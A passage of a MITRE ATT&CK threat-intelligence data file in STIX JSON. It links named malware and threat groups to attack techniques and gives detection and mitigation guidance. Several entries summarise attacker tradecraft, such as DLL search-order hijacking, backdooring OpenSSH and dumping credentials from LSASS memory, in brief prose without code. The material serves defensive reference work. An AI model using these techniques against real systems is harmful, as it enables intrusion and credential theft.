","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--253b56a5-232f-44bc-af4d-85ccc12a0577","created":"2017-05-31T21:33:27.080Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. 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Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:52.988Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can list files on available disk volumes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c1566ee0-3ddb-4482-94dc-eb05e35e7afa","created":"2020-11-05T15:01:15.628Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). 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Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:10.096Z","description":"[Crimson](https://attack.mitre.org/software/S0115) has the ability to discover pluggable/removable drives to extract files from.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa12e2a6-02e7-4001-af7b-6a60021ddbfd","type":"relationship","created":"2020-05-12T22:21:54.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. 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Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.352Z","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) stored targeted SMS messages that matched its target list in CSV files on the compromised system.(Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d667c620-28cb-4c86-83f7-33d6c154369c","type":"relationship","created":"2021-03-26T21:11:31.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. 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Retrieved November 18, 2020."}],"modified":"2021-08-10T14:13:46.093Z","description":"The [Bazar](https://attack.mitre.org/software/S0534) loader has used dual-extension executable files such as PreviewReport.DOC.exe.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c4fd1a5-c3a4-4f71-8310-785962dc65d4","type":"relationship","created":"2021-09-28T20:02:51.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. 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Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.475Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f201842-1ce8-459f-a7a7-a81d6e7950a9","type":"relationship","created":"2021-03-01T14:07:36.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. 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Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.542Z","description":"[LookBack](https://attack.mitre.org/software/S0582) has a C2 proxy tool that masquerades as <code>GUP.exe</code>, which is software used by Notepad++.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41760330-2558-4781-bc4e-1e4c7a1f5f92","type":"relationship","created":"2022-02-10T16:42:30.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. 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Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:26.021Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) downloads and uploads files to and from the victim’s machine.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62478274-7562-414a-9b03-f155f5a0d80b","type":"relationship","created":"2021-12-10T14:34:38.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). 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(2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.998Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains modules that allow for use of proxies in command and control.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a15e391d-cc21-484d-839a-b7057ae40179","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.873Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) uploads files and secondary payloads to the victim's machine.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a70a6fbd-379d-4104-8323-ce25a950c892","type":"relationship","created":"2019-01-29T21:40:37.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2020-03-20T22:39:14.412Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) obfuscates communications with the C2 server using Base64 encoding.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--825aded7-3c93-47ec-9ba5-5bd5af4e2e2b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"},{"url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. 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(2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.","modified":"2022-04-19T23:46:50.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-20T17:05:40.089Z","description":"[DownPaper](https://attack.mitre.org/software/S0186) uses the command line.(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4142d0fd-6c96-417f-8725-17eabf444854","type":"relationship","created":"2021-08-23T19:38:33.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hornet Security Avaddon June 2020","url":"https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/","description":"Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021."},{"source_name":"Awake Security Avaddon","url":"https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/","description":"Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021."}],"modified":"2021-10-18T21:41:22.719Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has been executed through a malicious JScript downloader.(Citation: Hornet Security Avaddon June 2020)(Citation: Awake Security Avaddon)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09254382-c7cd-4340-97c2-d8ecda757e59","type":"relationship","created":"2020-02-20T14:34:08.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-20T14:34:08.740Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f3dd93e-6682-490f-bd56-9bc25c489d25","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6049a18-43d5-4761-ad56-a60e2a7998cf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. 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Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f3ab5d7-b58e-48a4-b839-082cc8160203","type":"relationship","created":"2021-04-16T21:33:50.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."}],"modified":"2021-04-16T21:33:50.832Z","description":"[APT29](https://attack.mitre.org/groups/G0016) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8d6c283-67fb-47f4-8d99-7b86aaf92af4","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Walmart Roberts Oct 2018","description":"Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020.","url":"https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278"},{"source_name":"pcodedmp Bontchev","description":"Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.","url":"https://github.com/bontchev/pcodedmp"},{"source_name":"oletools toolkit","description":"decalage2. (2019, December 3). python-oletools. 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Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited CVE-2018-0798 in Equation Editor.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T13:58:15.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b392dbc-1f55-4eeb-90b5-3f980a01f11d","type":"relationship","created":"2019-04-24T17:01:10.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-03-02T22:11:32.161Z","relationship_type":"mitigates","source_ref":"course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. 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Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.762Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0e68e5d-66a1-4f7d-ace6-8ad5d028fa20","type":"relationship","created":"2021-10-01T01:57:31.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). 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Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.747Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has identified security software, configurations, defensive tools, and sensors installed on a compromised system.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--de200120-25ab-4d9e-a6c3-cbce0d92d25a","created":"2022-03-30T14:26:51.858Z","x_mitre_version":"0.1","external_references":[{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","description":"French, D. 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This file is stored under the path <code>/proc/&lt;pid&gt;/maps</code>, where the <code>&lt;pid&gt;</code> directory is the unique pid of the program being interrogated for such authentication data. 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(2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.","source_name":"Windows Blogs Microsoft Edge Sandbox"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2021-10-15T19:01:35.113Z","description":"Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. Risks of additional exploits and weaknesses in those systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe42b5e6-06dd-4b08-8ef8-31323f8190d2","type":"relationship","created":"2021-05-28T14:56:24.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-01-24T20:34:05.698Z","description":"Use application control where appropriate.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47a10b36-7f39-480c-8708-410eb3af46ca","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. 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Retrieved December 21, 2020."},{"source_name":"Dragos PARISITE ","url":"https://www.dragos.com/threat/parisite/","description":"Dragos. (n.d.). PARISITE. Retrieved December 21, 2020."},{"source_name":"CrowdStrike PIONEER KITTEN August 2020","url":"https://www.crowdstrike.com/blog/who-is-pioneer-kitten/","description":"Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."},{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. 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(2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","source_name":"TechNet Credential Theft"},{"url":"https://technet.microsoft.com/en-us/library/dn487450.aspx","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","source_name":"TechNet Least Privilege"},{"url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","source_name":"Microsoft Securing Privileged Access"}],"modified":"2022-03-17T12:39:56.473Z","description":"Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0cd5f13-7e44-4728-98df-6e832f5d54dc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"}],"modified":"2019-07-11T13:53:06.121Z","description":"(Citation: Forcepoint 